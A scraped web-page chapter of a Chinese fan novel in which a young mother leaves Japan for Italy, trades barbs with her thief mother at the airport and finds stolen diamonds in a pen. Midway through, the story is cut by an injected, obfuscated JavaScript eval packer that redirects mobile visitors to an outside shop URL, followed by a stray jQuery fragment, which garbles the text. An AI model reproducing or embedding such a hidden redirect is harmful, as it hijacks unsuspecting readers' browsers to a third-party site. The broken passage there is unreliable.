文趣网 > 其他小说 > 如何靠吸血鬼亡夫的遗产养娃 > 23. 被迫逃往意大利?
    东方良平作为安杰罗事件的直接参与者,非常清楚汐华身上的危险,但他劝汐华离开绝非忘恩负义。

    “今天早上,本该在医院接受治疗的死刑犯黑蜥蜴消失了,警方随着探视记录追查,发现了你的身世。”

    汐华张了张嘴,对此感到意外。

    按理来说,黑川冴子被转出监狱前,许多得知她“死期”的黑色组织都曾买通关系前去拜访,那些人的嫌疑都比汐华大。

    “为什么会查到我身上?”

    “说来也巧,有位预备进入警校的国中生为了完成社会实验报告,向警局查询人口出生情况,那些封存已久的资料里,刚好有一篇证实了你和黑蜥蜴的血缘关系。”

    “国中生?该不会……”

    汐华脑中莫名出现了仮赖谷一树那双狡诈的狐狸眼:“但这些所谓的证据,也不足以证明是我对黑川冴子动了手脚吧?”

    东方良平摇了摇头,额间皱纹为难地挤成了川壑:“探视黑蜥蜴前,你的卡里是不是多了一笔名义为古董典当的大额进账?”

    “对,但那是我……警方觉得我被黑蜥蜴收买了?!”

    东方良平没有回答,但以他的身份而言,没有明确否定,往往就意味着承认。

    “虽然还在调查,但上头似乎有尽早结案的意思。”东方良平最终挤出了一句毫无意义的总结。

    公园里忽地扬起沙尘,汐华火冒三丈。

    她协助黑川冴子逃狱并非被金钱收买,更不是被对方死前的窘迫激发了同情。

    汐华只是觉得,像黑蜥蜴这样大名鼎鼎的盗贼,如果留给世人的死因是受男人出卖,那也太蠢了!

    那些本该受她鼓舞的女孩该怎么想呢?

    想法浮现的瞬间,汐华被吓了一跳。

    她这才意识到,自己惦记了两辈子的黑川冴子,或许就是那个一直在背后推动她前进的人。

    这太荒谬了!我甚至不知道她早饭爱吃米饭还是面包!

    她甚至不一定记得我的名字!

    更过分的是,警方污蔑我收了根本不存在的钱!真想朝她要回来!

    汐华这口不上不下的怒气一直憋到了前往机场那天。

    当汐华知道自己无法继续待在日本后,她脑中第一个冒出的念头还是意大利。

    说来好笑,汐华对意大利的向往起始于少女时期的一个平凡课间。

    711美妆杂志上附送的世界地图里,亚平宁半岛与西西里的结合让意大利看起来像只将足球一脚踹飞的高筒靴。

    汐华生下初流乃后,那只肆意的高筒靴不再只是地图上的国家轮廓,也是支撑她度过无数个空洞夜晚的幻想源泉。

    登机牌上的目的地与上辈子一模一样,汐华的心情却截然不同了。

    这次前往意大利不再是某种虚幻的逃避,她清楚地知道了自己想做什么。

    箭头代表着前进的方向。

    恩雅的梦想是辅佐出统治世界的邪恶帝王,因此她用五只箭开创了替身新时代。

    汐华很想知道,当她集齐六只箭时,世界又会发生什么变化?

    多年前,一位意大利青年从开罗挖出了六只替身之箭,恩雅从对方手里买走了五只。

    现如今,它们中的两支在汐华手里;两只被DIO曾经的手下保管,下落不明;还有一支最特殊的,箭头刻有甲虫浮雕的在开罗大战后不知所踪。

    根据恩雅的占卜,那支箭被一位“故人”带往了意大利。

    种种迹象让汐华觉得好笑,她仿佛看见托特神爆更十章,中心主旨为你一定要,也一定会前往意大利。

    放在包里贴身携带的箭头泛着寒光,汐华能感应到和它们的联系。

    可说到底,我这样真的是在前进吗?

    困惑的阴影再次出现,笼罩心头:

    我在杀死老乔巴纳的善后中利用了欧因哥的力量;抓捕安杰罗的过程中有波因哥和东方良平的参与;决定前往意大利收集替身之箭,则是借助了恩雅的占卜……

    汐华坐在候机厅里静静思考,眼前忽然落下一片阴影。

    来人穿着一套有很多口袋的宽松橙色运动服,夸张的墨镜在脸上耷拉着,不断打量汐华的手提箱:“哎哟,真巧啊,这位小姐,我们的手提箱一样呢,请问能坐你旁边吗?”

    “抱歉,这里有人了。”

    汐华上一秒还在睁眼说瞎话,下一秒就听见对方冲她旁边座位上的空气大喊“滚开!”

    “好了,现在你旁边没人了。”黑川冴子驱逐走空气后,优雅地笑了笑。

    汐华眼角抽搐,张了张嘴,想半天后最先出口的却是嘲讽:“怎么,你终于打算从龟壳里出来了?”

    “不,打算换个地方坐牢。”

    “……”

    黑川冴子看起来很享受汐华的错愕,她勾着唇角询问:“你呢?打算带儿子移民国外?”

    “不,打算尝试卖小孩。”

    “……”

    汐华笑得很开心,因为这回失语的人终于成了黑川冴子。

    当然,还有深知大人说话小孩不能插嘴,因此乖乖坐在汐华身旁的初流乃。

    “没事啊,不卖你。”

    汐华扫了眼初流乃,随口安慰道。

    黑川冴子则是坏心眼地将话题延续:“这孩子不卖啊,那卖谁?”

    她和初流乃的目光逐渐转向坐在对面的波因哥,把他吓得直打哆嗦:“我,我吗?要卖我?!”

    波因哥凄厉的嚎叫引来了注视,登机口处身着蓝色制服的地勤走了过来。

    汐华刚要解释自己不是人贩子,对方却直直朝着冴子走去。

    “黑川女士,一切都帮您安排好了。”

    “辛苦了。”

    黑川冴子从对方手里接过一张前往土耳其的机票。

    中东“金三角”航线,一条往往充斥着携带大量现金和未申报黄金的“土豪”旅客,也是“飞机大盗”高发区的航线。

    无论是为了进货还是销赃,黑川冴子当然都会去那里。

    “高空作业”通常都是团伙作案,这也就意味“黑蜥蜴”颠覆了以往单打独斗的作风。

    汐华心里有些复杂,一方面不知为何松了口气,一方面又不满黑川冴子破坏了自己心中完美的坏女人形象。

    “怎么,你软弱到需要他人帮助了?”

    冴子愣了几秒,反应过来后瞬间嗤笑道:“你这蠢孩子!在需要帮助的时候坦然借力,有什么大不了的?”

    “你以为我曾经犯下的那些案件,从头到尾都是一个人完成的吗?怎么可能啊!警方故意夸大我的能力,只是为了不想让败在‘区区’女贼手下的自己显得太无能。”

    黑川冴子大病初愈后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852852|211853||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的身型略显单薄,气势却一如既往,强的叫人侧目。

    “自古以来,人类应对危险时的本能只有战斗与逃跑,但在面对一次又一次将近绝望的困境后,女人进化出了第三种战斗方式——联系与帮助。”

    “你比谁都擅长通过利用人脉,整合资源达成目的,却为自己的才能羞愧?”

    黑川冴子不可思议地瞥了眼汐华,就差指着鼻子骂她钻牛角尖了。

    承接着那充满热量与力度的目光,汐华被深深扣动心弦。

    她含泪咬牙的姿态让黑川冴子放缓了声音:“我大概知道你在想什么,一味地借力会让人无法成长,但只要在掠夺的路上不断学习,真正掌握话语权,就不会沦落到受制于人。”

    事实证明,对孩子而言天大的事情,往往不过是父母眼中的过去。

    黑川冴子踹了踹汐华的脚:“要靠什么说话,你应该知道吧?”

    汐华轻笑一声:当然是钱了,这个世界上,只有钞票在谁手中都是钞票。

    十五分钟后停止登机的放送声激起人群动荡,黑川冴子却丝毫不受影响。

    她悠闲起身,拍了拍初流乃的肩膀好奇道:“说起来,你干嘛要带着他一起离开?”

    “不然呢,难道像你一样?”汐华瞬间皱眉,用力拢了拢外套。

    血缘的诅咒总能由上一代传递给下一代,汐华没有告诉任何人,但她曾经默默发誓,绝对不会像妈妈那样抛弃自己的孩子。

    即使这给她带来了很多麻烦,即使她做得并不好,汐华也从未忘记那个与自己定下的约定。

    “因为无论如何,他是我的责任。”

    轻若萤虫振翅的声音,让初流乃漆黑的瞳中闪出绿光。

    他刚想切实感受心底淌过的那丝暖流,却发现汐华的表情十分扭曲:“呃啊啊啊啊——责任!我果然还是讨厌这个词!我感觉自己快要过敏了!”

    “妈妈,你脖子后面已经开始起红点了。”

    “我就知道!”

    黑川冴子看着两人的互动,啼笑皆非地摇了摇头。

    “这点倒是比我强,”她喃喃自语,踏着最后一声广播,拎起手提箱踏入检票口:“那么……祝你好运了,真理奈。”

    汐华猛然转身,死死盯住那个正在逐渐变小的背影。

    黑川冴子刚才叫她什么来着?

    真理奈,真理奈!

    在封闭的登机通道里,汐华听见了本不应出现的潺潺流水声。

    “妈妈,你看这个!”

    初流乃疑惑地从他胸前的口袋里掏出了一支钢笔——款式老旧,甚至笔身上有好几处都已经掉漆了。

    汐华仔细打量后,轻轻翻了个白眼:“大概是你…姥姥刚才拍肩时放进去的。”

    “好厉害。”

    “厉害什么啊,哄孩子的把戏,你想学的话我现在就能教你,话说这年头谁还用钢笔,那么旧的东西估计也不值什么钱……”

    汐华从初流乃手里接过钢笔转了转,忽然脸色一变:这钢笔的手感怎么那么奇怪?

    她拆开钢笔一看,发现被用光的墨囊里竟装着满满一管钻石!

    黑川冴子出狱前,各方地下大佬频繁探视她就是为了这个。

    “谁敢用啊!万一是赃物呢?”

    汐华边咬牙切齿地抱怨,边飞快把钻石重新装入钢笔。